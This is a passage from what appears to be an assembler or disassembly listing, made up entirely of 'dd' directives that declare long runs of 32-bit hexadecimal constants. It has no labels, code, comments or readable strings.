0E743671Eh, 0CAF76AEAh, 3B7B6B69h dd 0ADFFA2A0h, 8A35EE01h, 0BD9F4820h, 0F76D12FCh, 0E8EADF64h dd 0F5077156h, 66884168h, 528E0D3h, 0C8E338A4h, 0F2B61FFAh dd 79E37DBDh, 2C343B15h, 26D639DDh, 4A6665F9h, 0B6381845h dd 1D1DCE1Ch, 3B10888Fh, 34ECD224h, 0CD18EC5Eh, 0B16B71C5h dd 5A431CEEh, 48CC3AC1h, 0AD1E9B71h, 8ABC160Ch, 7F02DB05h dd 74C67484h, 5E4DCBD6h, 0B1BAD00Dh, 32EDFD17h, 0CD990CFFh dd 0DDA649BEh, 29C61CC9h, 0CDBD0F5Bh, 17341A99h, 0E1C1E513h dd 0F4786EC8h, 8F8F7303h, 0E7CC887Ch, 2E721BE2h, 2DD0A2E6h dd 0D2496FDCh, 1DF6E687h, 4AC429h, 852D147Ah, 0ABE2613Eh dd 9C85B4A5h, 0EADDF1DBh, 0D565ACF6h, 508095C7h, 0D5DF49FAh dd 0EC746172h, 0EB936112h, 0F8BB907h, 5A5AD915h, 374DA7C6h dd 0C3291ABCh, 9F0CE6C8h, 71F217FEh, 0DF5D331Dh, 8F1F17E7h dd 0BB2D2DBFh, 0AD43881Fh, 964733A7h, 0ED8C4F46h, 0F916D50Bh dd 0BCD3650Ah, 3ADD3BAEh, 0CA51589h, 0B2657CE5h, 0C91E0863h dd 7FF50F4Fh, 0ED6E8F29h, 0C43EA79Bh, 4E64CB15h, 0F426AEFh dd 455A8A27h, 31D79BD9h, 54B7CE62h, 53289E6Ch, 2E2B68FFh dd 0DA9BD1D3h, 89A8B97Bh, 0C4E33FAFh, 4129E781h, 984A2147h dd 0F28EB7A8h, 49A2278Ch, 81621DB7h, 0CF9CAAE4h, 0CA00D10Dh dd 2340EADDh, 0C9EC13A8h, 5EB90B0Fh, 697F1C14h, 0AFB00291h dd 0DA79E543h, 6DD9BF9Bh, 0E8BFA15Bh, 0F25B5B8Eh, 398DB06Bh dd 8C1B4183h, 6CD0A10Ch, 71ABC714h, 0D70B2B4h, 347B36B7h dd 13967F6Eh, 56E25686h, 0CAC42113h, 846FC72h, 3D10492Ch dd 980EA9F3h, 7DD28127h, 47352AB4h, 84A7B5Fh, 65091E2Eh dd 0BC91137Ah, 647EDF42h, 0E821E3D2h, 0C44FA7A0h, 83BC91ADh dd 201482F2h, 0C8314D01h, 746CF68Eh, 8B02D21Dh, 9351AE24h dd 302564D4h, 0B70C84EFh, 0D9FBB9CFh, 0BD75F1D4h, 1EC8B2D6h dd 0A73CB44Dh, 0D562A6E8h, 0AB263684h, 21CBD329h, 132E78B9h dd 270E4A8Bh, 68501BA3h, 51DE4E64h, 4E69E57Ch, 99EC2146h dd 57291350h, 0E8E176F8h, 4F7F0CD3h, 26AFE3DAh, 0D438EE27h dd 6856CC44h, 39F02105h, 0EA7C858Bh, 7E35D9B3h, 8A6639EFh dd 0EC479DBBh, 0B33384C6h, 0C40076E6h, 0A9CBD65h, 83C10C75h dd 0CB278026h, 5627E690h, 768E3A27h, 0AE274EAFh, 0A9984E4h dd 807F40B0h, 772219FCh, 920C681Bh, 0E338EA29h, 0CD37D270h dd 8A37A2FFh, 4F14C022h, 2FC9B409h, 0CC0DF260h, 70F8A53Ch dd 45D35869h, 0ECF8AEB7h, 85399A5Ah, 1B3E966h, 0DD15475Bh dd 0DC3A1232h, 0C031D803h, 0C50CFD1Bh, 0E6176433h, 402FD871h dd 8BDE6919h, 3F0E2C81h, 19ABA03Fh, 0E5615FABh, 3B71D9B4h dd 1D9BAA11h, 0D3682DBh, 0F987E78Fh, 8BDBD7CBh, 0A5F9684Ah dd 1A852141h, 0ABB83FDEh, 17F5DBCBh, 4A149ED2h, 87E316C4h dd 9E60EA63h, 844374C6h, 63CCBF82h, 30292C99h, 6B758886h dd 2BD00157h, 104C8442h, 23F9F4FAh, 14FA6C1Eh, 9351BE38h dd 0BE6E2FE9h, 84A11AA1h, 0CA516C0Eh, 0F951AF62h, 0E1D2FD04h dd 45C0ED27h, 0F6E65FFFh, 1C9D62Eh, 528EF0E1h, 0DEAAC613h dd 5AC938FDh, 0CF4710E7h, 0BF2DB4C4h, 2E9C5F99h, 12F5BB06h dd 742B088Fh, 81281D78h, 502EFA8Bh, 4C40CF7Eh, 29542A15h dd 3CFAF59Eh, 0B1D8A09Fh, 0B2FCF60Eh, 0CB1CBE96h, 1FB868E3h dd 0AC7660Ch, 8C803789h, 0B1FC1812h, 2002AE20h, 5AD4D1A7h dd 0A8813E80h, 8C701D7h, 0B70EE05Ch, 186A48BDh, 33024C8h dd 7C122D8Ah, 8130163Eh, 0DA4AE51Eh, 0A0D1B837h, 7329427h dd 0AEDFF4FFh, 486E099Fh, 0E46A4D99h, 2E39DCACh, 8C902059h dd 14ACA1ACh, 1F760490h, 0BB3EFDF1h, 8CD3F64Fh, 0C332B3FAh dd 0C13A66D3h, 0C25FF913h, 0B578C1D8h, 91E44B3Dh, 4BDB4823h dd 40064310h, 9E0FF235h, 720F46C4h, 2C84C740h, 0D19A0EF5h dd 0CDE685Ch, 0F46A3762h, 540FB0C7h, 9BEB113Fh, 0BEB39105h dd 0A7F839C3h, 7783CD17h, 8D4C93DCh, 5CAAA05h, 40A286F7h dd 0E3FB1C38h, 0C88D3551h dd 0B71B718Bh, 56700E2Ch, 3C9B4233h, 146845E3h, 18431617h dd 0F7A48B9Dh, 0F8D83A05h, 0F659A7C6h, 70DE4AC4h, 0AE3F2FBAh dd 0F289194Fh, 0BD264F34h, 69E431D6h, 745B46EAh, 2642E525h dd 38D560CEh, 1A17A8D0h, 1E2E3FBEh, 4195014Eh, 0ED7FB235h dd 0E90D7821h, 9C48807Dh, 7D2DA740h, 6721C5E7h, 0A4E74398h dd 2E737EB3h, 36B000Dh, 3319DE2Bh, 48F23067h, 0BB74EFBCh dd 782A986h, 322E4B28h, 89C05402h, 0DFC0740h, 4566FA1Bh dd 50B44C79h, 4C12D04Ch, 6702C593h, 0F6480199h, 0CB9D0700h dd 0E8A06000h, 0E21FAE30h, 80C21839h, 1AF15D52h, 26DEEF24h dd 0ADA71BAEh, 0BD16A77h, 31CC1FD8h, 8DCEC3C1h, 435E8E0Ch dd 79FBA44Bh, 6C28D9D5h, 0B97FFB21h, 98A9EBA7h, 48DD7180h dd 644300CCh, 0F70A36A1h, 5E8FD3D4h, 15B81EDFh, 1E480664h dd 5FA74C5Fh, 0C29F2CDEh, 0A3A6F9C9h, 443158ADh, 115A215Ch dd 802373E9h, 868EF103h, 0ECB3B212h, 73849395h, 47D67DDBh dd 8F777179h, 974503C4h, 3713B231h, 94FD33Fh, 0ED265F9Dh dd 0D017148Eh, 468538EEh, 78C63641h, 92A41ABh, 5C260119h dd 0B895D7DBh, 7A5DE4D6h, 77F45AFAh, 0DC842Ch, 36DCA6A4h dd 4F4F79C9h, 5AA42A46h, 6F40DB23h, 25CF93D3h, 30E216D9h dd 1F45301h, 7521E5CAh, 1BEF8E43h, 6ED85143h, 359A2107h dd 7B349A58h, 0E41F41A0h, 17CD12Bh, 0D265A5A6h, 91A43BF1h dd 0BF02DA5Eh, 67188DC5h, 74DFCAF2h, 0C2205882h, 0B24751C6h dd 170DBEE7h, 0BE237C42h, 13B2841Bh, 42E15E5h, 9B11A6FAh dd 0A2C82660h, 0FF87C0E9h, 0AF1FFABEh, 0B4A71876h, 5119E503h dd 62B50230h, 0B36E2DF6h, 804120DBh, 0B6C95850h, 44CCB11Bh dd 72B613B0h, 363D2DE2h, 468DFCA6h, 2972B9CAh, 0A133A3A8h dd 0CA76AD84h, 48D71F9h, 0A66ED4BAh, 705A47Bh, 8F1BFED9h dd 439C309Ah, 97728FE1h, 9097A915h, 0B3ED8724h, 0C7BF6F5Bh dd 30C0FAD0h, 830199A6h, 0A66C3DCCh, 0BD61FF1Fh, 30439215h dd 0E9DE041Ch, 15D4E6Fh, 48B1F765h, 2440216Dh, 0B1F87918h dd 11423C34h, 0C9B7D755h, 0C6809D88h, 673D9D31h, 746C2AB8h dd 0ECCE536Fh, 5565D978h, 7D362ACDh, 91AD896Ah, 7640C360h dd 38C8156Ah, 0E5AB080Bh, 0DE1535C8h, 48C534AEh, 3F74B65Bh dd 5BBD90A9h, 0A31C65D5h, 0E791310Ch, 6748297Ah, 0D6951105h dd 0FE1827F5h, 0ABBC81EFh, 395AFB11h, 0D2E0132Eh, 5B1FE1B5h dd 198AA545h, 0CB4AB216h, 3BF0EAF6h, 4FEB9B35h, 0F62D0F46h dd 0FE7AFD96h, 6631EF25h, 0D52D125Eh, 10A46E48h, 98395F7h dd 0FA521A09h, 43651A64h, 627643F7h, 1E139C6Eh, 0CBE04B1Eh dd 0C0265567h, 69B85D42h, 0F92D1DF2h, 4F61270Dh, 7FE4781Fh dd 68E87B4Dh, 482B2713h, 577968E1h, 0FCA669C5h, 0DA3146BCh dd 23620355h, 4F2B80D7h, 9925573Bh, 0DD040201h, 4A77AF16h dd 3DDBFDE7h, 0F5DF16F1h, 0ED0991BEh, 6EC8B4A9h, 0D13E79C7h dd 8C86BC35h, 130D00h, 77C0E736h, 3446C936h, 4DD85C35h dd 61B4C907h, 0B7270CC4h, 0BB4F5B6Fh, 42CEB442h, 0D13C691Eh dd 927CE28Ah, 909250F4h, 0BC760F6Fh, 2B385300h, 0CAACB276h dd 3122BA50h, 6312FD05h, 5294590Bh, 10875187h, 3B1983FEh dd 9D1D2BC4h, 8D95E3Fh, 0CF7517F6h, 0DC2488Dh, 416B9345h dd 0B0770758h, 0B809DF94h, 0DF115551h, 66932F4Fh, 6202E412h dd 70BAC591h, 19F5442Dh, 0A2A78707h, 0BCAFA146h, 37EA08h dd 99338947h, 7616B9AEh, 0A230BB8Bh, 1C6BEB47h, 73DB4538h dd 20AC1E74h, 0D6F63107h, 1CC358E4h, 4A3EBFE6h, 0F0DDEE39h dd 281C2EEBh, 0EB131D05h, 9BA8229Dh, 0BBEDA60h, 49B8E84Eh dd 0F41FABECh, 38C7C080h, 0ED22DA38h, 5034F2A6h, 0DF928140h dd 78C5081Fh, 0CF76EB8Fh, 58943CD4h, 0A6C8D215h, 87A408BBh dd 9DC61B7h, 0E822C44Eh, 0C16CA3DDh, 446974CEh, 0FEF43221h dd 0E0CF597Fh, 45602FA7h, 0F848E1FEh, 0CFDD25EBh, 0D6625C46h dd 321482E7h, 7CE89034h, 3E9B42AFh, 116905Bh, 25C76821h dd 0AFDA2D7Eh, 2D230F6Fh, 0DB1326FAh, 6EB02AD4h, 0DDA9216Dh dd 58395F90h, 5E3512F0h, 392C23D3h, 98EB8C54h, 123D74B9h dd 0F48C8846h, 35C6F55Eh, 0C24F758Dh, 0C8074826h, 0E9BBF5EDh dd 0E6C5B194h, 1FC4114Dh, 0A2B54EC8h, 1F16FE5Fh, 90E3596Ch dd 0A52FEFC8h, 920AD843h, 0D667ADEAh, 5CE45D9Dh, 80D9CF51h dd 0F85A6h, 35860B94h, 75F5D935h, 0B2304C7Ah, 7B4301C1h dd 26CE0F92h, 3CF9EB08h, 0A5FAFFA1h, 23E62F1Dh, 0BF696C68h dd 91801BBBh, 42E4B213h, 7841EF7h, 0F1659F3Eh, 0A4E96339h dd 0C1C1742h, 3B6E3E24h, 38C28886h, 0CFBFEE67h, 0C8FCC53Fh dd 4AA82701h, 6BE72888h, 0C8B5E79Eh, 0D5D44AD7h, 52CA6D54h dd 0D2F2F64Dh, 84B44E99h, 0CF5578B3h, 49A63F56h, 6326DC07h dd 675A33ECh, 0E0C98BCDh, 0C8268026h, 9F15B946h, 0F59AD477h dd 0BD76B0F8h, 452348CCh, 8F80878Eh, 6C0F0389h, 6A45AB7Ch dd 34B0324Bh, 0D6F8A20Bh, 349D312Ah, 0AF7AF73Ch, 0D262B840h dd 38F5A284h, 59456D68h, 481F1C45h, 44FC1DDDh, 293C4008h dd 4E49E167h, 8C079B6Eh, 51D81F82h, 823688BCh, 3AE394BBh dd 0BA3CAC68h, 0CE0FD4D0h, 662462Ah, 0E1910065h, 0CB35B1B3h dd 0F084988Dh, 0FE10D121h, 0C3F74E36h, 0B11A6412h, 67F009B6h dd 330D5577h, 8EA264CFh, 78FB1145h, 3BF5103Eh, 5B74BF90h dd 0F5CD7366h, 643CE166h, 8405A15Eh, 9A165667h, 67F12E02h dd 8C9D53B7h, 0DB5DCD33h, 93D213B8h, 539A37A0h, 90726749h dd 0FB783FDBh, 0F0DEBA34h, 0E46F58F9h, 0D0727945h, 93C58E01h dd 0F334C9C6h, 0C4630D7Ch, 637FAB5Fh, 65438127h, 0AFD98AD6h dd 3949FCC7h, 535D37CFh, 0DB6C875Dh, 67DD9094h, 248E77BFh dd 2A8C07Eh, 0A6F38C5Fh, 0D219EABDh, 28DAF338h, 9345CDEBh dd 7B32A3A0h, 0CF195086h, 0CC5EA7DAh, 0B55689D5h, 4237611Fh dd 3CAA235Bh, 0E34163CAh, 3FFDC956h, 2611FF0h, 61E7907Fh dd 6557E2B2h, 5C2AC50h, 0BE382A01h, 921D78C6h, 60534DEEh dd 0F30B2ADBh, 3BDEE16Fh, 94328660h, 0F563A85Eh, 6A9D6E2Fh dd 0E6185A08h, 0A2A73398h, 0D161F1Dh, 1CBB1345h, 57F54781h dd 0B0966E7Ah, 9D425CC6h, 0F8F201C8h, 0E12E2534h, 9D9CE482h dd 2E12696Fh, 0D10B4AFBh, 1F7968A2h, 0FB1C993Bh, 0A81BA54Ah dd 0AA712DCEh, 615D38F9h, 8B7ED021h, 912F9AC8h, 677E92F3h dd 0DA2851CDh, 0C21849D8h, 398293F4h, 0C01287EEh, 548F4D6h dd 8419ABEBh, 497B3B73h, 7718C545h, 22372F93h, 514E2B7Fh dd 0FC53AE3Bh, 0FD480795h, 96B14D6h, 4B950570h, 0E88CDE68h dd 0A297DD4Dh, 0B362E93Ah, 228EBD32h, 0BA90E0DEh, 56BFF559h dd 90CF8BFCh, 0F87C5D80h, 0E0031AB6h, 3F26ED5h, 5C0C3DEh dd 3FB7C88Ch, 7F4973D9h, 9AB8BFE4h, 3198B5F3h, 74C80D89h dd 197FE94Fh, 82515CC1h, 3E6C3312h, 0A9785E1Eh, 3F4BAF38h dd 0FA62EF0Ch, 0E775EB79h, 193D2074h, 87CA6F2Eh, 0D5F673AFh dd 2F2B2157h, 0D713520Ch, 135C5EFEh, 0C45F6443h, 91BCBB72h dd 837B3415h, 84B6E1FEh, 459187ABh, 0C78FCA49h, 200DC7E0h dd 0A2C7F864h, 0CA6D192Eh, 3101DF0Fh, 0CC8E3BFFh, 5537C5C7h dd 73D824A9h, 0B363C09Bh, 2E23869Ah, 2F1259BAh, 938EB849h dd 0BEFCA6DBh, 0CFABEFB6h, 655FF4E0h, 0F38C4C5h, 88F11645h dd 0EB194A0Bh, 98AC84C2h dd 6DBB3E43h, 2C2BF8DFh, 4E450800h, 9D68B153h, 0C227110Ah dd 98C3AB18h, 5B85F564h, 0CD940F9Eh, 9859C3E2h, 8C90698Ah dd 0ED5750E1h, 812FAB0Fh, 8EACF99Ah, 5BF1D940h, 0DF27CD9Ch dd 4FA98A06h, 0D6ECD7FFh, 8DF2C2B0h, 3277C2C2h, 0A2F4D858h dd 0AE2F6299h, 0F358251Eh, 247088EFh, 9823155Ch, 9DD69EA4h dd 0AFFB586Ch, 0BF4B9B94h, 802337D2h, 0ABF596ADh, 0C11CA71Bh dd 0B8E84A28h, 0A5E816E7h, 0D9867031h, 9D2D8C36h, 23877837h dd 0E0C66BF0h, 0E0763BEEh, 0AF3B5C09h, 97EA9561h, 0C6E82C35h dd 4391AF2Dh, 81EC3A75h, 6BDE3B39h, 0DEDC4B14h, 8213D924h dd 850A56Ch, 25DCE2E9h, 0A0C7F0Fh, 6A0EDCE3h, 1C063DC0h dd 9D320BCFh, 7AE3052Ch, 0A4BEFA65h, 0C34B8BF0h, 7D8A96AFh dd 0B7215091h, 4F7333BEh, 0F73C3281h, 523CCBDFh, 0B5F772A4h dd 0A919075Ah, 97E24D73h, 0FA1349A3h, 0D2879A89h, 0F5601369h dd 5926FECBh, 0DC6AB1BEh, 840FA4D9h, 0E3BC70F4h, 6408AC0Ah dd 0AA422573h, 2D650427h, 40FDD142h, 251F65A7h, 0D6FDC2ACh dd 54765D0Ah, 0E5470190h, 63039A20h, 95BA8FB1h, 0B3905C26h dd 0A03B6953h, 749CE9C0h, 1B509B67h, 9A90921Bh, 0E38429E3h dd 0E3134870h, 0C245A98Fh, 0F2150EB3h, 82BDC9D2h, 9E6C435h dd 896ECEF1h, 0C3D5DA6Eh, 0E7B4D8CFh, 6C822036h, 0F57043D6h dd 0AE01AD91h, 219F8919h, 5DCFC5BEh, 0E29B43D1h, 808FF4E2h dd 0DEF130C2h, 0F9739F2Dh, 0E0654721h, 0A878DDA8h, 0E6D03318h dd 0B976ED7Fh, 6438F6ABh, 5BEA6D2Eh, 0C306B39h, 0A023B2F5h dd 0B151B8D4h, 8212914Fh, 9D1CD95Ch, 0B87D7C83h, 2E358E57h dd 0CADB36CBh, 0EC410EB7h, 0A971EF32h, 0C0A5B69h, 1A9CDE90h dd 8258737Dh, 3A41CD1Eh, 0B1AB19Ch, 0F207FF7Eh, 28354A7Ch dd 7423B3CEh, 0A8B04F5Bh, 199B8A38h, 27B6CC97h, 3C8F508Ah dd 0E5D832E9h, 7037231Ah, 7D2CDB4h, 0BF33430h, 92BD9E2Dh dd 0DD32205h, 0A5ECE19Fh, 4DB56CACh, 0AA7947E9h, 0C7EA21Fh dd 0CFFF65F8h, 71866393h, 0D0933A73h, 1A24E197h, 286DA9F6h dd 1CC24483h, 0EBFF99DBh, 437B40E3h, 75528701h, 7EAA67AEh dd 6F9F45F2h, 0C2486599h, 415FB2AFh, 37DBF968h, 5A12FA8Fh dd 0F98C0D6Dh, 726AC3B4h, 0BAA0652Eh, 80446490h, 488E5DE0h dd 698470FCh, 0A2431E60h, 6565E7C3h, 79EE065Bh, 0C15F812Fh dd 472FEEDBh, 96C0C523h, 46AEE962h, 0E03EE9DFh, 1B52827Fh dd 4AE18965h, 9DFB3909h, 2F088F2Eh, 1FC9FD6Ah, 0B72E3858h dd 0FF55FFC3h, 0BC16F4A0h, 551ACC80h, 1EEF4F9h, 0D8D90DB8h dd 0E1486B34h, 887168E7h, 6BA0D8E2h, 0DC5B33A4h, 0C639FF09h dd 43BA32E6h, 0A19B59D8h, 64A3081Dh, 548DCAEBh, 0D7A79C36h dd 16226644h, 72192243h, 5F3E6183h, 0C9E1FFE0h, 4B8A775Bh dd 4FE9306Bh, 75299316h, 548BF63Dh, 0F5B21A5Fh, 5062E1h dd 96BDD5C8h, 5A60B799h, 0C1424281h, 51D194D0h, 828B9779h dd 62FAC9D4h, 0C2CC536Ah, 84D09430h, 5A6CAD23h, 0F6B788C9h dd 1B608865h, 0CACB93Ah, 0E9C00496h, 9D01768h, 31B57414h dd 0F8897E0h, 97C62633h, 115C3B4Fh, 72406E5Ch, 4CE295Bh dd 66B84831h, 2E9DBD2Bh, 90F1C175h, 8FFBE04Dh, 99151BECh dd 13C635FBh, 10DE0712h, 80FC5129h, 2305C554h, 0C1460F76h dd 0F51432A2h, 798BB98Ch, 5381E30Ah, 433AB81Dh, 0C679B0FCh dd 0E1609C6Dh, 0C7BAF290h, 4A6ED6A7h, 4C317C9Ch, 1E2C9240h dd 77D23FFAh, 502C5F54h, 0CA99FCD5h, 4D15919h, 0C671B875h dd 0FA801C22h, 6FC6A937h, 0EA77EB38h, 485CAC79h, 53573199h dd 0BE7DFB9Eh, 88E0A13Dh, 893297A0h, 0D6039ED1h, 0CCA6A285h dd 33956FEBh, 8AFD79ABh, 0A7EAC483h, 269D7DDDh, 0ED2F674Eh dd 7203C828h, 9AE7AFDEh, 0C5D10725h, 6E5161E5h, 0A81D096Ch dd 0FBF705E1h, 0F0AE152Dh, 99D8F2D2h, 86A4A54Eh, 7EF6BF53h dd 3AA0F6E5h, 8D934A6Eh, 0F988D194h, 625495A0h, 7F404958h dd 9D72D987h, 7DEBD610h, 35E79572h, 0BF6F060Bh, 1C0AE9ACh dd 69F758BFh, 807705BCh, 0ABD215C6h, 54031CF4h, 92916AD0h dd 70AC459Bh, 0EE560E45h, 4E7DD1E1h, 971B491Fh, 2A5C4FE2h dd 75C75EEEh, 152126C9h, 94B78935h, 0BB38229Dh, 3EDB00E3h dd 81EDF2ECh, 5D784498h, 5BA7D733h, 4167EC6Bh, 0BEC5B377h dd 91DC05D1h, 3AF2CCDFh, 0D8DAE7ACh, 37BBE554h, 1CD574D5h dd 0A103D3C2h, 78C4F30h, 24B7CDFEh, 0F9DFA1Ah, 0BD8B56E1h dd 9CAE9EE2h, 7522315h, 93FCB833h, 5C2516D1h, 90898335h dd 0D705D10Fh, 0F9239F81h, 6B4CC566h, 0E1EFA648h, 0BCD5AA93h dd 0CFE3D532h, 0F7244216h, 2A847F1Bh, 0C81244F4h, 13F982D5h dd 5B2B42A3h, 0DE259835h, 21EE25DAh, 0C7A3832Ah, 92B57D30h dd 0CA9CD7EDh, 82073ACEh, 47C2CAACh, 18D48AEh, 2528B779h dd 0CB98A156h, 6CF74D12h, 32C1E354h, 3FF9421Dh, 34822903h dd 742CFD93h, 4F1EB036h, 0A1CF47D7h, 6147B1ECh, 73C4A70Dh dd 65DFDA75h, 0D59C9590h, 8A15C2FAh, 0D720C848h, 3942B10Bh dd 0AAACD153h, 3DD408E5h, 0D5C903E5h, 7A4F9DCEh, 0FEE9D6C0h dd 0A6A5BA51h, 600FE0D3h, 0CD4098C5h, 5D437540h, 0C1CD9898h dd 76B26B75h, 38C0FD8Ch, 6027540Dh, 27394956h, 9B12743h dd 26A6BDD0h, 77147329h, 3F897288h, 2F6DD7E8h, 0AB61FCB2h dd 7B631850h, 11574EBEh, 0D3B699F4h, 0C20F8482h, 0B6301659h dd 894E70FFh, 0DD57A24Ch, 5A6E21F7h, 975BB20Ah, 5810D041h dd 0EC7A90A2h, 1A8D36E6h, 560FD5A4h, 0F881BF0Ch, 7B50453Fh dd 12E1571Dh, 24F82485h, 0B402248Fh, 0DA5CCCB3h, 0EBCA19A7h dd 66BC0DAEh, 4F9B77A4h, 59E309D7h, 1AD7BDD5h, 7A2AF23Ah dd 0F853ABB8h, 9A8EB530h, 26DCDA1Bh, 0C58A8BACh, 0E3B76EBh dd 6E630E37h, 0C8CB9E47h, 0E7AACDA3h, 6BA5B2B4h, 836807BFh dd 7DB48560h, 8EE9D630h, 0C8A9197Ah, 25BE8517h, 0EDE4F555h dd 0FD3068A1h, 64A88AB0h, 52EAEE3Bh, 7100F313h, 1483F80h dd 0BF73FC0Ah, 0BC1B93C6h, 0FE6D149Dh, 0F4BB09EFh, 2F4A6CC5h dd 0FC5303E5h, 72B8EEC5h, 67D427ECh, 0CFED6988h, 8FA7320Ch dd 0ABB24EA6h, 941A6326h, 90F860B9h, 0AF98A82Eh, 3197F5FAh dd 56BBEBD2h, 70AFE2E5h, 6DC9FE88h, 3C7161B4h, 49031357h dd 0D96E6076h, 101EF2BCh, 3DBB3BDBh, 0CB4CA0EEh, 537A7FAAh dd 0E17F7B17h, 0F366B487h, 0B9AEEE7Eh, 0AA37B2BCh, 0E3D4648Ah dd 9E9ED6ECh, 0C09B5567h, 855F7001h, 3E9D50B8h, 0CA17287Bh dd 2A4B9618h, 0A546F999h, 0A38EEFC9h, 0DAB97Dh, 0F6E1A70h dd 4828F1E5h, 2A9096C1h, 7206E269h, 4416E265h, 6EFE9DB3h dd 407B55F5h, 12FAEEFDh, 0C5F1E039h, 6184AA3Dh, 0A71EFD3h dd 0EFB579C9h, 201CD2D3h, 0AF82A827h, 9E1E46FEh, 92E4C8C3h dd 0E957BDEAh, 4E136891h, 267CF8F5h, 860333D5h, 276773B5h dd 31C5C4F4h, 91D3CD70h, 0C2C63D70h, 8424B342h, 0E8543E94h dd 55F9D131h, 0AC35F09Ch, 1548C941h, 0AA1F392Dh, 59B5BC07h dd 5D8476Ah, 47EDC623h, 8BCF37B5h, 0C2F34961h, 45DA1063h dd 3A21A198h, 2773DD9Fh, 0FC77823Bh, 0C2957927h, 0E9580E1Bh dd 0D9711CCFh, 0F9948C23h, 9C93AEDBh, 51411AC1h, 32CE8D8Ah dd 24B57D87h, 0F4531BA9h, 0B8E7958Dh, 0F09E4761h, 857E40D5h dd 7300AB43h, 0FB1780F7h, 0A23520BEh, 87163D01h, 0AF33D350h dd 63FBE7A6h, 0F277FE0h dd 5D803009h, 36FD3B33h, 2006F51Bh, 9ED194E2h, 5BD9D30h dd 563A05A8h, 0EE5197D0h, 70E96FE5h, 0C62CC4B0h, 0F973FD40h dd 603F04A8h, 74845A75h, 0C645FE4Bh, 617D8956h, 0F77FCBB3h dd 0A48DFFECh, 9A5E7B38h, 7D940E18h, 0D0BBA4B9h, 4C881E3Eh dd 5C947E0Dh, 0E70A2EF3h, 0C664A1FFh, 0C6A2756h, 7561915Bh dd 24EB0B14h, 8704FA2Ch, 4ABC0743h, 96D599DEh, 11BB5E9Ch dd 2CA066CEh, 0A0F1589Eh, 1EB0832Dh, 94FAB3B8h, 0D07F88F3h dd 582860DBh, 0DEABFE4h, 0A20FC2B1h, 0ECB4B023h, 10694115h dd 56551563h, 0A9B38D42h, 9F2E84FBh, 0BB8134Fh, 74EA9B35h dd 0E609364Bh, 1B90D9Fh, 6408FECCh, 0B1B8D8C2h, 9E6369CFh dd 0B285C6AAh, 0E8B10963h, 5F168AF6h, 7AD3CEA5h, 1644C5B1h dd 0B5645595h, 35103D86h, 5CD33C70h, 0D5065CB6h, 8EAC7A85h dd 0E596D8A6h, 0F989C348h, 0A22F22F9h, 0B1CBE613h, 0DB467A3Eh dd 354B5EDFh, 72740A47h, 4E8C0315h, 0E466D314h, 211AB114h dd 0B350E5B0h, 147FAFE7h, 0F32A92Dh, 108EC719h, 51C80D1Bh dd 383FB60Ah, 2376644Ch, 0CBEA5CBAh, 0F8AF2BEBh, 0E6661E6Ah dd 0FD46E4B6h, 0C63C2D53h, 0D5F713AAh, 0CF16BCEEh, 0BF591A38h dd 7B695706h, 1A151E45h, 0C8864008h, 1E7EE509h, 773751E0h dd 7E511DC0h, 7B8FE69Bh, 7004E56Fh, 679739CFh, 0FFD1A86h dd 9E7B1BA9h, 0EC7280Eh, 2CD9024Dh, 0D976461Eh, 0A912AE59h dd 8B9E7EB2h, 67C4EA1Bh, 5416542Ch, 8EFD5962h, 41EB29C9h dd 38B07C2Ah, 0A7B7E836h, 86C83B2Ch, 9F88CBB0h, 0A96FD755h dd 43B38121h, 0DCD51F5Fh, 0CFD7918Eh, 0D58B80C9h, 42D2CDB2h dd 0EBBB5043h, 40B8A443h, 0C1FA1628h, 0A3D6E226h, 448624A2h dd 996B3473h, 2FFB4086h, 0A332EDD9h, 0FD34A9B7h, 9178CE30h dd 5F757504h, 1C4717A1h, 0EECA3AE3h, 29B7A729h, 428DF8DDh dd 0ACA53350h, 51869D68h, 0C042D35Ah, 0EAA77966h, 12AB10A2h dd 1639A21Ah, 6893C365h, 719453A8h, 59DF834Dh, 0B91AD363h dd 8B486120h, 9B30D395h, 665B0161h, 1D34F8CDh, 60A85141h dd 0EA3CB028h, 0B1D93BB7h, 1170F2C1h, 0A4FBB970h, 0E964ADB5h dd 83BEE11Eh, 4184865Fh, 0BB34140Eh, 0E45F2FAh, 0BFED6BBEh dd 0D559AAD3h, 0F6580B46h, 0C318E963h, 0FFFD4D6Eh, 8E237188h dd 0A9E78CB0h, 0A17B39BAh, 0EC86C1E8h, 49A0003Ch, 0A82FE3F9h dd 0DD3A7085h, 20618A63h, 0A4537B23h, 54A6D51Dh, 5F53281Eh dd 1880E497h, 0A2AD2D51h, 0AB88920Dh, 0A084D538h, 3D4D7111h dd 70C1BF39h, 7C5B8642h, 0D15AE13Fh, 0CF38F105h, 0F508A567h dd 0B0DB3D75h, 375E2C7Ah, 0E38DE32Ch, 0F61EA135h, 26EE2D5Ah dd 0B66C7B28h, 0EE3A10B5h, 4B1216CAh, 0F4B9EA3Eh, 62D7A8A7h dd 6D6F7642h, 87570755h, 0C2D055AFh, 499D7F60h, 3B9EF415h dd 4F0AB738h, 0ED3BC7FFh, 7578BF4Fh, 0FB0E6F65h, 9B13735Ah dd 7CECBA30h, 39DFF772h, 0D441E41Fh, 0D693AD25h, 0AC695387h dd 0B455DF94h, 87F43D5Dh, 1F1A53Dh, 4BCFEABAh, 0ECFEFFA7h dd 8EEA9E67h, 0C1A2BB3Fh, 1202D8B1h, 8451E591h, 0D41E4BBDh dd 0AEF04A57h, 54E23EB3h, 904C7EEDh, 35B52911h, 6C92B42Bh dd 1E03DF8Ah, 70ECF7Eh, 13190AD9h, 0B90056A2h, 0BE443C8Eh dd 210F5D14h, 10882D30h, 0DFE04D2Fh, 440BEE2Ah, 0B8912365h dd 0ED26F553h, 2E1E1123h, 8F9D5D96h, 0FDE8FF98h, 3331D1A5h dd 0E24D227Dh, 76BB901Dh, 149B88D0h, 6F879FABh, 4779E5A9h dd 0CEF98ED2h, 93D9F799h, 0B225AD0Eh, 0E39955C4h, 0B9ACF68Ch dd 30FB6839h, 6B0606D9h, 918AD388h, 812895E6h, 0B4BA24D7h dd 7FD825DDh, 7564AF24h, 39451C95h, 70A81C37h, 0B23694D2h dd 0E8FB4AFCh, 47543DD8h, 0AA32464Eh, 0EE37427Bh, 971C0878h dd 873C7919h, 0D296158Ah, 7992C0D0h, 63A41AFh, 14832C1Fh dd 91B0BF0Ch, 87C62E8Ch, 16D5EA84h, 5F313A06h, 23222795h dd 0A1E1883Dh, 7E707F50h, 48EFFBC3h, 0E0A0F248h, 448BC964h dd 0F2C2F20h, 0EB32C3EFh, 539A576Ah, 0DF904645h, 52BDC8B3h dd 208FE130h, 2CCD4709h, 2DCD1835h, 